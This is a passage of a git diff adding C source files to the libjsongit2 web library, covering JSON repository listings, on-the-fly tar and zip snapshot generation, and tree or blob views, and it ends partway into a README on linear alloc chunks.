@@ -0,0 +1,131 @@
+/*
+ * libjsongit2 - commit
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+#include <stdio.h>
+#include <string.h>
+
+#define lp_to_rei(p, _n) list_ptr_container(p, struct repo_entry_info, _n)
+
+static int
+job_repos_start(struct jg2_ctx *ctx)
+{
+	ctx->rei = lp_to_rei(ctx->vhost->rei_head, next);
+
+	meta_header(ctx);
+
+	job_common_header(ctx);
+	CTX_BUF_APPEND("\"repolist\":[");
+
+	ctx->subsequent = 0;
+
+	return 0;
+}
+
+static void
+job_repos_destroy(struct jg2_ctx *ctx)
+{
+	ctx->job = NULL;
+}
+
+int
+job_repos(struct jg2_ctx *ctx)
+{
+	char name[256];
+	char *p;
+
+	if (ctx->destroying) {
+		job_repos_destroy(ctx);
+
+		return 0;
+	}
+
+	if (!ctx->partway && job_repos_start(ctx)) {
+		lwsl_err("%s: start failed (%s)\n", __func__, ctx->hex_oid);
+		return -1;
+	}
+
+	if (!ctx->rei)
+		goto empty;
+
+	while (ctx->rei) {
+		int size = ctx->rei->name_len + ctx->rei->acl_len +
+			   ctx->rei->conf_len[0] + ctx->rei->conf_len[1] +
+			   ctx->rei->conf_len[2];
+
+		if (!JG2_HAS_SPACE(ctx, 100 + size))
+			break;
+
+		p = (char *)(ctx->rei + 1);
+
+
+		pthread_mutex_lock(&ctx->vhost->lock); /* ======== vhost lock */
+
+		if (__repo_check_acl(ctx->vhost, p, ctx->vhost->cfg.acl_user) &&
+		    __repo_check_acl(ctx->vhost, p, ctx->acl_user)) {
+			pthread_mutex_unlock(&ctx->vhost->lock); /*vhost lock */
+			goto next;
+		}
+
+		pthread_mutex_unlock(&ctx->vhost->lock); /* ------ vhost lock */
+
+		CTX_BUF_APPEND("%c\n{ \"reponame\": \"%s\"",
+			       ctx->subsequent ? ',' : ' ',
+			       ellipsis_purify(name, (char *)p, sizeof(name)));
+		ctx->subsequent = 1;
+		p += ctx->rei->name_len + ctx->rei->acl_len;
+
+		if (ctx->rei->conf_len[0]) {
+			CTX_BUF_APPEND(",\"desc\": \"%s\"",
+				ellipsis_purify(name, (char *)p, sizeof(name)));
+
+			p += ctx->rei->conf_len[0];
+		}
+		if (ctx->rei->conf_len[1]) {
+			if (ctx->rei->conf_len[0])
+				CTX_BUF_APPEND(", ");
+
+			identity_json(p, ctx);
+			p += ctx->rei->conf_len[1];
+		}
+
+		if (ctx->rei->conf_len[2]) {
+			if (ctx->rei->conf_len[0] || ctx->rei->conf_len[1])
+				CTX_BUF_APPEND(", ");
+
+			CTX_BUF_APPEND(" \"url\": \"%s\"",
+				ellipsis_purify(name, (char *)p, sizeof(name)));
+		}
+
+		CTX_BUF_APPEND("}");
+
+next:
+		ctx->rei = lp_to_rei(ctx->rei->next, next);
+		if (ctx->rei)
+			continue;
+empty:
+		meta_trailer(ctx, "]");
+		job_repos_destroy(ctx);
+	}
+
+	return 0;
+}
diff --git a/lib/job/snapshot.c b/lib/job/snapshot.c
new file mode 100644
index 0000000..d418e76
--- /dev/null
+++ b/lib/job/snapshot.c
@@ -0,0 +1,564 @@
+/*
+ * libjg2 - snapshot
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ *
+ *
+ * This statefully generates compressed archives on the fly according to the
+ * requested URL in /snapshot/ mode.  The tree being archived is held open the
+ * whole time and a maximum of one blob is held open at a time inbetween calls.
+ * Everything related to the activity is held in the jg2_context and there's no
+ * interaction between multiple ongoing snapshots each in its own context.
+ *
+ * The tree is not walked from libgit2 side but using a stateful directory
+ * stack per context.
+ *
+ * To cover the impedence mismatch between the compressor buffer size and its
+ * trigger to spill (on my libarchive version, it's spilled when the compressed
+ * data reaches 64KiB or so, in lumps of 10KiB) and whatever the user buffer
+ * size is, this code uses the LAC "linear_alloc_chunk" bufferlists as needed.
+ * If you are using a 4KiB user buffer then, the peak buffer requirement in that
+ * case from this code is 60KiB.
+ */
+
+#include "../private.h"
+
+#include <stdio.h>
+#include <string.h>
+
+enum {
+	COMP_TAR_GZ,
+	COMP_TAR_BZ2,
+	COMP_TAR_XZ,
+	COMP_ZIP,
+};
+
+static ssize_t
+a_write(struct archive *a, void *user, const void *p, size_t len)
+{
+	struct jg2_ctx *ctx = (struct jg2_ctx *)user;
+	size_t avail = lws_ptr_diff(ctx->end, ctx->p), use = len;
+
+	if (avail < use)
+		use = avail;
+
+	fprintf(stderr, "xxxxx\n");
+	lwsl_err("%s: len %d, use %d\n", __func__, (int)len, (int)use);
+
+	memcpy(ctx->p, p, use);
+	ctx->p += use;
+
+	if (use < len) {
+		/*
+		 * We can't really control how much the caller will issue.
+		 *
+		 * If it's more than we can pass on right now, collect it and
+		 * anything else that comes before we can flush into the ctx
+		 * LAC buffer
+		 */
+
+		char *chunk = lac_use(&ctx->lac_head, len - use, 0);
+
+		if (!chunk)
+			return -1;
+
+		memcpy(chunk, (const char *)p + use, len - use);
+
+		if (!ctx->lac) {
+			ctx->lac = ctx->lac_head;
+			ctx->lacpos = sizeof(*ctx->lac);
+		}
+
+		lwsl_notice("%s: stashed in lac: %d, lacpos: %d\n", __func__,
+			    (int)(len -use), (int)ctx->lacpos);
+	}
+
+	/* claim that we used everything, even if some went in a LAC */
+
+	return len;
+}
+
+static int
+a_open(struct archive *a, void *user)
+{
+	return 0;
+}
+
+static int
+a_close(struct archive *a, void *user)
+{
+	return 0;
+}
+
+
+/*
+ * the ref to snapshot, and the format to produce is found inside the "path":
+ *
+ * reponame-sortaref.format
+ *
+ * - reponame- is redundant
+ * - sortaref is a branch name, tag name, or commit hash.
+ * - format is .tar.bz2 etc
+ *
+ * Eg, myproject-v1.1.tar.bz2
+ */
+
+static int
+job_snapshot_start(struct jg2_ctx *ctx)
+{
+	int e, l, n, comp = -1;
+	const char *p, *p1;
+	git_generic_ptr u;
+	char pure[256];
+	git_commit *c;
+	git_oid oid;
+
+	if (!ctx->hex_oid[0]) {
+		lwsl_err("no oid\n");
+		return 1;
+	}
+
+	ctx->count = 0;
+	ctx->pos = 0;
+	ctx->tei = NULL;
+
+	if (!ctx->sr.e[JG2_PE_PATH]) {
+		lwsl_err("%s: missing path\n", __func__);
+
+		return -1;
+	}
+
+	p1 = strrchr(ctx->sr.e[JG2_PE_PATH], '-');
+	if (!p1) {
+		lwsl_err("%s: missing -rev...\n", __func__);
+
+		return -1;
+	}
+
+	p1++;
+
+	p = ctx->sr.e[JG2_PE_PATH];
+	l = strlen(p);
+	if (l < 8)
+		return -1;
+
+	if (!strcmp(p + l - 7, ".tar.gz")) {
+		p += l - 7;
+		comp = COMP_TAR_GZ;
+	} else
+		if (!strcmp(p + l - 8, ".tar.bz2")) {
+			p += l - 8;
+			comp = COMP_TAR_BZ2;
+		} else
+			if (!strcmp(p + l - 4, ".zip")) {
+				p += l - 4;
+				comp = COMP_ZIP;
+			} else
+				if (!strcmp(p + l - 7, ".tar.xz")) {
+					p += l - 7;
+					comp = COMP_TAR_XZ;
+				} else {
+					lwsl_err("%s: unknown archive type\n",
+						 __func__);
+
+					return -1;
+				}
+
+	p1 = strchr(ctx->sr.e[JG2_PE_PATH], '-');
+	/*
+	 * avoid false positive from coverity... we already checked above and
+	 * know for certain there is a '-' in this string using strrchr...
+	 */
+	if (!p1)
+		return -1;
+	p1++;
+	n = 0;
+	while (p1 < p && n < (int)sizeof(ctx->hex_oid) - 1)
+		ctx->hex_oid[n++] = *p1++;
+	ctx->hex_oid[n] = '\0';
+
+	/* priority 1: branch (refs/heads/) */
+
+	lws_snprintf(pure, sizeof(pure), "refs/heads/%s", ctx->hex_oid);
+	if (git_reference_name_to_id(&oid, ctx->jrepo->repo, pure)) {
+
+		/* priority 2: tag (refs/tags/) */
+
+		lws_snprintf(pure, sizeof(pure), "refs/tags/%s", ctx->hex_oid);
+		if (git_reference_name_to_id(&oid, ctx->jrepo->repo, pure)) {
+
+			/* priority 3: oid */
+
+			if (git_oid_fromstr(&oid, ctx->hex_oid)) {
+				lwsl_err("%s: can't interpret ref %s\n",
+					 __func__, ctx->hex_oid);
+
+				return -1;
+			}
+		}
+	}
+
+	e = git_object_lookup(&u.obj, ctx->jrepo->repo, &oid, GIT_OBJ_ANY);
+	if (e < 0) {
+		lwsl_err("git_object_lookup failed\n");
+		return -1;
+	}
+
+	if (git_object_type(u.obj) != GIT_OBJ_COMMIT) {
+		lwsl_err("git object not a commit\n");
+		goto bail;
+	}
+
+	/* convert the commit object to a tree object */
+
+	c = u.commit;
+	if (git_commit_tree(&u.tree, u.commit)) {
+		lwsl_err("no tree from commit\n");
+		goto bail;
+	}
+
+	git_commit_free(c);
+
+	ctx->a = archive_write_new();
+	switch(comp) {
+	case COMP_TAR_GZ:
+		archive_write_add_filter_gzip(ctx->a);
+		archive_write_set_format_ustar(ctx->a);
+		break;
+	case COMP_TAR_BZ2:
+		archive_write_add_filter_bzip2(ctx->a);
+		archive_write_set_format_ustar(ctx->a);
+		break;
+	case COMP_TAR_XZ:
+		archive_write_add_filter_xz(ctx->a);
+		archive_write_set_format_ustar(ctx->a);
+		break;
+	case COMP_ZIP:
+		archive_write_set_format_zip(ctx->a);
+		break;
+	}
+
+	e = archive_write_open(ctx->a, ctx, a_open, a_write, a_close);
+	if (e) {
+		lwsl_err("%s: archive_write_open said %d\n", __func__, e);
+
+		goto bail;
+	}
+
+	n = lws_ptr_diff(p, ctx->sr.e[JG2_PE_PATH]);
+	if (n > (int)sizeof(pure) - 2)
+		n = (int)sizeof(pure) - 2;
+
+	strncpy(pure, ctx->sr.e[JG2_PE_PATH], n);
+	pure[n++] = '/';
+	pure[n] = '\0';
+
+	ctx->sp = 0;
+	ctx->stack[ctx->sp].tree = u.tree;
+	ctx->stack[ctx->sp].path = strdup(pure);
+	if (!ctx->stack[ctx->sp].path)
+		goto bail;
+	ctx->stack[ctx->sp].index = 0;
+
+	return 0;
+
+bail:
+	if (u.obj) {
+		git_object_free(u.obj);
+		u.obj = NULL;
+	}
+
+	archive_write_free(ctx->a);
+
+	return -1;
+}
+
+static void
+job_snapshot_destroy(struct jg2_ctx *ctx)
+{
+	int n = ctx->sp;
+
+	while (n >= 0) {
+		if (ctx->stack[n].tree) {
+			if (ctx->stack[n].path)
+				free(ctx->stack[n].path);
+			if (ctx->stack[n].tree)
+				git_tree_free(ctx->stack[n].tree);
+			ctx->stack[n].tree = NULL;
+		}
+		n--;
+	}
+
+	if (ctx->u.obj) {
+		git_object_free(ctx->u.obj);
+		ctx->u.obj = NULL;
+	}
+
+	lac_free(&ctx->lac_head);
+
+	ctx->job = NULL;
+}
+
+int
+job_snapshot(struct jg2_ctx *ctx)
+{
+	struct archive_entry *ae;
+	size_t avail, nc, use;
+	char path[256];
+	int n;
+
+	if (ctx->destroying) {
+		job_snapshot_destroy(ctx);
+
+		return 0;
+	}
+
+	if (!ctx->partway && job_snapshot_start(ctx)) {
+		lwsl_err("%s: start failed (%s)\n", __func__, ctx->hex_oid);
+		return -1;
+	}
+
+	if (ctx->lac) {
+
+		/*
+		 * ah, we have some stashed in a side-buffer LAC we need to
+		 * replay before we can issue any new archive data
+		 */
+
+		while (ctx->lac && ctx->p != ctx->end) {
+			avail = lws_ptr_diff(ctx->end, ctx->p);
+			use = nc = ctx->lac->ofs -  ctx->lacpos;
+
+			if (use > avail)
+				use = avail;
+
+			lwsl_notice("%s: replay from lac use %d\n",
+					__func__, (int)use);
+
+			memcpy(ctx->p, ((char *)ctx->lac) + ctx->lacpos,
+			       use);
+
+			ctx->p += use;
+			ctx->lacpos += use;
+
+			if (ctx->lacpos == ctx->lac->ofs) {
+				/* if any, move to next chunk... */
+				ctx->lacpos = sizeof(*ctx->lac);
+				ctx->lac = ctx->lac->next;
+
+				/* if nothing left, free the LAC chain */
+				if (!ctx->lac) {
+					lwsl_notice("the lac chain is emptied\n");
+					lac_free(&ctx->lac_head);
+				} else
+					lwsl_notice("moved to next lac\n");
+			}
+		}
+
+		/*
+		 * either ran out of onward buffer space,
+		 * or replayed the whole LAC chain and can move on with new
+		 * archive data...
+		 */
+	}
+
+	if (!ctx->lac && ctx->waiting_replay_done && !ctx->archive_completion) {
+		/*
+		 * Close Step 2 is when we know we are waiting for no LAC left,
+		 * there is no LAC left, and we want to close, logically close
+		 * the archive and set a second flag  that next time we see
+		 * no LAC left, we are really done.
+		 */
+		archive_write_close(ctx->a);
+
+		ctx->archive_completion = 1;
+	}
+
+	while (!ctx->waiting_replay_done && !ctx->lac &&
+	       JG2_HAS_SPACE(ctx, 1024)) {
+		struct tree_iter_level *lev = &ctx->stack[ctx->sp];
+		const git_tree_entry *te;
+
+		/*
+		 * are we in the middle of archiving an existing blob?
+		 */
+
+		if (ctx->body) {
+			avail = lws_ptr_diff(ctx->end, ctx->p);
+			use = nc = ctx->size - ctx->pos;
+
+			if (use > avail)
+				use = avail;
+
+			archive_write_data(ctx->a, ctx->body + ctx->pos, use);
+
+			ctx->pos += use;
+
+			if (nc == use) {
+				ctx->body = NULL;
+				ctx->pos = 0;
+
+				git_blob_free(ctx->u.blob);
+				ctx->u.blob = NULL;
+			}
+
+			continue;
+		}
+
+		/*
+		 * we need to archive the next thing in our tree walk then...
+		 */
+
+		te = git_tree_entry_byindex(lev->tree, lev->index++);
+		if (!te) {
+
+			/* this was the end of our current subtree... */
+
+			free(lev->path);
+			lev->path = NULL;
+			git_tree_free(lev->tree);
+			lev->tree = NULL;
+			lev->index = 0;
+
+			if (ctx->sp)
+				/* let's go back up a level and continue... */
+				ctx->sp--;
+			else
+				/*
+				 * oh... we have finished the root tree...
+				 *
+				 * However we need to take care, the close
+				 * action will usually flush pending write data
+				 * that may require stashing in a LAC and
+				 * replaying... so we have to stage the close,
+				 * step 1 is set a flag we're waiting for all
+				 * replay done...
+				 */
+
+				ctx->waiting_replay_done = 1;
+
+			continue;
+		}
+
+		switch (git_tree_entry_type(te)) {
+
+		case GIT_OBJ_TREE:
+
+			if (ctx->sp == JG2_ARRAY_SIZE(ctx->stack) - 1) {
+				lwsl_err("%s: too many dir levels %d\n",
+					 __func__, ctx->sp + 1);
+
+				goto error_out;
+			}
+
+			lws_snprintf(path, sizeof(path), "%s%s/", lev->path,
+				     git_tree_entry_name(te));
+
+			lev = &ctx->stack[ctx->sp + 1];
+			if (git_tree_lookup(&lev->tree, ctx->jrepo->repo,
+					    git_tree_entry_id(te))) {
+				lwsl_err("%s: unable to get tree\n", __func__);
+
+				goto error_out;
+			}
+
+			lev->path = strdup(path);
+			if (!lev->path)
+				goto error_out;
+
+			lev->index = 0;
+
+			/* officially go down to the next level */
+			ctx->sp++;
+			break;
+
+		case GIT_OBJ_BLOB:
+
+			if (git_blob_lookup(&ctx->u.blob, ctx->jrepo->repo,
+					    git_tree_entry_id(te))) {
+				lwsl_err("%s: unable to get blob\n", __func__);
+
+				goto error_out;
+			}
+
+			ctx->body = git_blob_rawcontent(ctx->u.blob);
+			ctx->pos = 0;
+			ctx->size = git_blob_rawsize(ctx->u.blob);
+
+			ae = archive_entry_new2(ctx->a);
+			if (!ae) {
+				lwsl_err("%s: unable to get tree\n", __func__);
+
+				goto error_out;
+			}
+
+			lws_snprintf(path, sizeof(path), "%s%s", lev->path,
+				     git_tree_entry_name(te));
+
+			archive_entry_set_pathname(ae, path);
+			archive_entry_set_perm(ae, git_tree_entry_filemode(te));
+			archive_entry_set_size(ae, ctx->size);
+			archive_entry_set_filetype(ae, AE_IFREG);
+
+			n = archive_write_header(ctx->a, ae);
+			archive_entry_free(ae);
+			if (n) {
+				lwsl_err("%s: problem writing header: %d\n",
+					 __func__, n);
+
+				goto error_out;
+			}
+			break;
+
+		default:
+			lwsl_err("%s: unexpected GIT_OBJ_ %d\n", __func__,
+					git_tree_entry_type(te));
+
+			goto error_out;
+		}
+	}
+
+	if (ctx->archive_completion && !ctx->lac) {
+
+		/*
+		 * Close step 3 is seeing no LAC left pending again after
+		 * step 2.
+		 *
+		 * It's really the end, with the archive logically closed, and
+		 * anything buffered flushed into the caller buffer too.
+		 */
+		archive_write_free(ctx->a);
+		ctx->a = NULL;
+
+		ctx->final = 1;
+		job_snapshot_destroy(ctx);
+	}
+
+	return 0;
+
+error_out:
+	lwsl_err("%s: failing out\n", __func__);
+
+	archive_write_close(ctx->a);
+	archive_write_free(ctx->a);
+
+	ctx->final = 1;
+	job_snapshot_destroy(ctx);
+
+	return -1;
+}
diff --git a/lib/job/tree.c b/lib/job/tree.c
new file mode 100644
index 0000000..e1d3c1a
--- /dev/null
+++ b/lib/job/tree.c
@@ -0,0 +1,429 @@
+/*
+ * libjsongit2 - tree
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+#include <stdio.h>
+#include <string.h>
+
+#define lp_to_te(p, _n) list_ptr_container(p, struct tree_entry_info, _n)
+
+static int
+tei_alpha_sort(list_ptr a, list_ptr b)
+{
+	struct tree_entry_info *p1 = lp_to_te(a, next),
+			       *p2 = lp_to_te(b, next);
+
+	/* directories go at the top */
+	if ((p1->mode & 16384) != (p2->mode & 16384))
+		return !!(p2->mode & 16384) - !!(p1->mode & 16384);
+
+	return strcmp((const char *)(p1 + 1), (const char *)(p2 + 1));
+}
+
+/*
+ * For efficiency, we dump results linearly in a linked-list of "chunk"
+ * allocations, adding to it as needed.  It means we have much less allocation
+ * that using one per-object.  See ./lib/lac/README.md
+ *
+ * Each entry is part of a sorted linked-list held inside the
+ * struct tree_entry_info
+ *
+ * The objects consist of
+ *
+ *   [ struct tree_entry_info ] [ name string NUL terminated ]
+ *
+ */
+
+static int
+treewalk_cb(const char *root, const git_tree_entry *entry, void *payload)
+{
+	struct jg2_ctx *ctx = payload;
+	struct tree_entry_info *tei;
+	const char *name;
+	git_blob *blob;
+	git_otype type;
+	size_t m;
+
+	type = git_tree_entry_type(entry);
+	name = git_tree_entry_name(entry);
+	m = strlen(name) + 1;
+
+	tei = lac_use(&ctx->lac_head, sizeof(*tei) + m, 0);
+	if (!tei) {
+		lwsl_err("OOM\n");
+
+		return -1;
+	}
+
+	tei->oid = git_tree_entry_id(entry);
+	tei->mode = git_tree_entry_filemode(entry);
+	tei->namelen = m - 1;
+	tei->type = type;
+	tei->size = 0;
+
+	if (type == GIT_OBJ_BLOB &&
+	    !git_blob_lookup(&blob, ctx->jrepo->repo, tei->oid)) {
+		tei->size = git_blob_rawsize(blob);
+		git_blob_free(blob);
+	}
+
+	/* copy the name into place; lac is already advanced and aligned */
+
+	memcpy(tei + 1, name, m);
+
+	list_ptr_insert(&ctx->sorted_head, &tei->next, tei_alpha_sort);
+
+	return type == GIT_OBJ_TREE; /* don't go inside trees */
+}
+
+static void
+job_tree_destroy(struct jg2_ctx *ctx)
+{
+	lac_free(&ctx->lac_head);
+	ctx->sorted_head = NULL;
+
+	if (ctx->u.tree) {
+		git_tree_free(ctx->u.tree);
+		ctx->u.tree = NULL;
+	}
+	ctx->job = NULL;
+}
+
+static int
+job_tree_start(struct jg2_ctx *ctx)
+{
+	git_tree_entry *te;
+	git_generic_ptr u;
+	char pure[256];
+	git_commit *c;
+	git_oid oid;
+	int e;
+
+	if (!ctx->hex_oid[0]) {
+		lwsl_err("no oid\n");
+
+		return 1;
+	}
+
+	ctx->count = 0;
+	ctx->pos = 0;
+	ctx->tei = NULL;
+
+	if (ctx->hex_oid[0] == 'r') {
+		e = git_reference_name_to_id(&oid, ctx->jrepo->repo,
+					     ctx->hex_oid);
+		if (e < 0) {
+			lwsl_err("%s: unable to lookup ref '%s': %d\n",
+				 __func__, ctx->hex_oid, e);
+
+			return -1;
+		}
+	} else
+		if (git_oid_fromstr(&oid, ctx->hex_oid)) {
+			lwsl_err("no oid from string\n");
+
+			return -1;
+		}
+
+	e = git_object_lookup(&u.obj, ctx->jrepo->repo, &oid, GIT_OBJ_ANY);
+	if (e < 0) {
+		lwsl_err("git_object_lookup failed\n");
+		return -1;
+	}
+
+	if (git_object_type(u.obj) != GIT_OBJ_COMMIT) {
+		lwsl_err("git object not a commit\n");
+		goto bail;
+	}
+
+	/* convert the commit object to a tree object */
+
+	c = u.commit;
+	if (git_commit_tree(&u.tree, u.commit)) {
+		lwsl_err("no tree from commit\n");
+		goto bail;
+	}
+
+	git_commit_free(c);
+
+	if (ctx->sr.e[JG2_PE_PATH] && ctx->sr.e[JG2_PE_PATH][0]) {
+		if (git_tree_entry_bypath(&te, u.tree,
+					  ctx->sr.e[JG2_PE_PATH])) {
+			lwsl_err("%s: git_tree_entry_bypath %s failed\n",
+				 __func__, ctx->sr.e[JG2_PE_PATH]);
+			lws_snprintf(ctx->status, sizeof(ctx->status),
+				     "Path '%s' doesn't exist in revision '%s'",
+				     ctx->sr.e[JG2_PE_PATH], ctx->hex_oid);
+
+			goto bail;
+		}
+
+		git_tree_free(u.tree);
+		u.obj = NULL;
+
+		e = git_tree_entry_to_object(&u.obj, ctx->jrepo->repo, te);
+		git_tree_entry_free(te);
+		if (e) {
+			lwsl_err("git_tree_entry_to_object failed\n");
+			goto bail;
+		}
+	}
+
+	ctx->u = u;
+
+	/*
+	 * /tree/ mode urls are followed by a "path" element inside the tree.
+	 *
+	 * These can consist of either a dir path, which we want to use to
+	 * restrict where we walk the tree, or a blob path.
+	 *
+	 * If it's a blob path, we don't walk the tree to show the dir listing,
+	 * but show the blob as best we can.
+	 */
+
+	if (git_object_type(u.obj) == GIT_OBJ_BLOB) {
+		const char *p = ctx->sr.e[JG2_PE_PATH], *p1;
+
+		ctx->body = git_blob_rawcontent(u.blob);
+		ctx->size = git_blob_rawsize(u.blob);
+		ctx->pos = 0;
+
+		if (ctx->sr.e[JG2_PE_MODE] &&
+		    !strcmp(ctx->sr.e[JG2_PE_MODE], "blame") &&
+		    ctx->sr.e[JG2_PE_PATH] != ctx->inline_filename) {
+			/* we want to send blame info after this */
+			ctx->meta_last_job = 0;
+			ctx->blame_after_tree = 1;
+		}
+
+		meta_header(ctx);
+		pure[0] = '\0';
+
+		if (p) {
+			p1 = strrchr(p + strlen(p) - 1, '/');
+			if (p1)
+				p = p1 + 1;
+		}
+		ellipsis_purify(pure, p, sizeof(pure));
+
+		job_common_header(ctx);
+
+		CTX_BUF_APPEND("\"oid\":");
+		jg2_json_oid(&oid, ctx);
+		CTX_BUF_APPEND(",\"blobname\": \"%s\", ", pure);
+
+		if (!git_blob_is_binary(u.blob)) {
+			CTX_BUF_APPEND("\"blob\": \"");
+			return 0;
+		}
+
+		strncpy(pure, ctx->vhost->cfg.virtual_base_urlpath,
+			sizeof(pure) - 1);
+		pure[sizeof(pure) - 1] = '\0';
+
+		if (strlen(pure) > 1)
+			strcat(pure, "/");
+
+		ellipsis_purify(pure + strlen(pure), ctx->sr.e[JG2_PE_NAME],
+				sizeof(pure) - strlen(pure));
+		CTX_BUF_APPEND(" \"bloblink\": \"%s/plain/", pure);
+		ellipsis_purify(pure, ctx->sr.e[JG2_PE_PATH], sizeof(pure) - 5);
+
+		strcat(pure, "\" ");
+
+		git_blob_free(u.blob);
+		ctx->u.obj = NULL;
+		ctx->body = NULL;
+
+		meta_trailer(ctx, pure);
+		job_tree_destroy(ctx);
+
+		return 0;
+	}
+
+	/* so the first part is walk the tree level and collect the objects */
+
+	e = git_tree_walk(ctx->u.tree, GIT_TREEWALK_PRE, treewalk_cb, ctx);
+	if (e < 0) {
+		const git_error *er = giterr_last();
+
+		lwsl_err("Failed to collect the tree objects: %d\n", e);
+		if (er)
+			lwsl_err("err %d: %s\n", er->klass, er->message);
+
+		goto bail;
+	}
+
+	ctx->tei = lp_to_te(ctx->sorted_head, next);
+
+	meta_header(ctx);
+
+	CTX_BUF_APPEND("{ \"schema\":\"libjg2-1\",\n \"oid\":");
+	jg2_json_oid(&oid, ctx);
+	CTX_BUF_APPEND(",\"tree\": [");
+
+	return 0;
+
+bail:
+	if (u.obj) {
+		git_object_free(u.obj);
+		u.obj = NULL;
+	}
+
+	lac_free(&ctx->lac_head);
+
+	ctx->failed_in_start = 1;
+	job_tree_destroy(ctx);
+
+	return -1;
+}
+
+struct inline_match {
+	const char *name;
+	unsigned char len;
+};
+
+/* in order of best preference... an entry earlier in this table is more
+ * preferable and can replace an already-matched entry from later in the
+ * table */
+
+static struct inline_match inline_match[] = {
+	{ "README.md", 9 },
+	{ "README", 6 },
+	{ ".mkd", 4 },
+	{ ".md", 3 },
+};
+
+int
+job_tree(struct jg2_ctx *ctx)
+{
+	struct tree_entry_info *head;
+	char name[128];
+	size_t m;
+
+	if (ctx->destroying) {
+		job_tree_destroy(ctx);
+
+		return 0;
+	}
+
+	if (!ctx->partway && job_tree_start(ctx)) {
+		lwsl_err("%s: start failed (%s)\n", __func__, ctx->hex_oid);
+		return -1;
+	}
+
+	if (ctx->body) {
+		/* we're sending a blob */
+
+		size_t inlim_totlen = ctx->size - ctx->pos;
+
+		m = lws_ptr_diff(ctx->end, ctx->p) - 1;
+		if (m < JG2_RESERVE_SEAL + 24)
+			return 0;
+
+		m -= JG2_RESERVE_SEAL;
+
+		if (inlim_totlen > m / 6)
+			inlim_totlen = m / 6;
+
+		if (!inlim_totlen)
+			inlim_totlen = 1;
+
+		ctx->p += jg2_json_purify(ctx->p, (char *)ctx->body + ctx->pos,
+					  m, &inlim_totlen);
+		ctx->pos += inlim_totlen;
+
+		if (ctx->pos == ctx->size) {
+			meta_trailer(ctx, "\"");
+			job_tree_destroy(ctx);
+		}
+	}
+
+	head = lp_to_te(ctx->sorted_head, next);
+
+	while (ctx->tei) {
+		const char *tei_name = (const char *)(ctx->tei + 1);
+		size_t n;
+
+		if (!JG2_HAS_SPACE(ctx, 250 + ctx->tei->namelen))
+			break;
+
+		CTX_BUF_APPEND("%c\n{ \"name\": \"%s\","
+			       "\"mode\": \"%u\", \"size\":%llu}",
+			       ctx->tei != head ? ',' : ' ',
+			       ellipsis_purify(name, tei_name, sizeof(name)),
+			       (unsigned int)ctx->tei->mode,
+			       (unsigned long long)ctx->tei->size);
+
+		/* is this file in the file listing an inline doc file? */
+
+		for (n = 0; n < JG2_ARRAY_SIZE(inline_match); n++) {
+			/*
+			 * name has to be long enough to match; the end of the
+			 * name must match the inline_match name; and we must
+			 * not already have matched on the same or more
+			 * preferable inline_match entry
+			 */
+			if (ctx->tei->namelen < inline_match[n].len ||
+			    strcmp(tei_name + ctx->tei->namelen -
+				   inline_match[n].len, inline_match[n].name) ||
+			    (ctx->if_pref && ctx->if_pref <= n + 1))
+				continue;
+
+			if (ctx->sr.e[JG2_PE_PATH] && strlen(ctx->sr.e[JG2_PE_PATH]))
+				if (ctx->sr.e[JG2_PE_PATH][strlen(ctx->sr.e[JG2_PE_PATH]) - 1] == '/')
+					lws_snprintf(ctx->inline_filename,
+					     sizeof(ctx->inline_filename),
+					     "%s%s", ctx->sr.e[JG2_PE_PATH],
+					     tei_name);
+				else
+					lws_snprintf(ctx->inline_filename,
+					     sizeof(ctx->inline_filename),
+					     "%s/%s", ctx->sr.e[JG2_PE_PATH],
+					     tei_name);
+			else
+				lws_snprintf(ctx->inline_filename,
+					     sizeof(ctx->inline_filename),
+					     "%s", tei_name);
+
+			/*
+			 * note how preferable this match is, so we can
+			 * supercede it if we find a better match
+			 */
+			ctx->if_pref = n + 1;
+
+			/* we have a new job after this now... */
+			ctx->meta_last_job = 0;
+			break;
+		}
+
+		ctx->tei = lp_to_te(ctx->tei->next, next);
+
+		if (ctx->tei)
+			continue;
+
+		meta_trailer(ctx, "]");
+		job_tree_destroy(ctx);
+	}
+
+	return 0;
+}
diff --git a/lib/lac/README.md b/lib/lac/README.md
new file mode 100644
index 0000000..284923c
--- /dev/null
+++ b/lib/lac/README.md
@@ -0,0 +1,27 @@
+## Linear Alloc Chunks
+
+These apis provide a way to allocate a linked-list of allocated regions,
+and to manage use of subregions inside.
+
+[ HEAD alloc ] -> [ next alloc ] -> [ next alloc ] -> [ curr alloc ]
+
+When you make an allocation using `jg2_lac_use()`, you can either
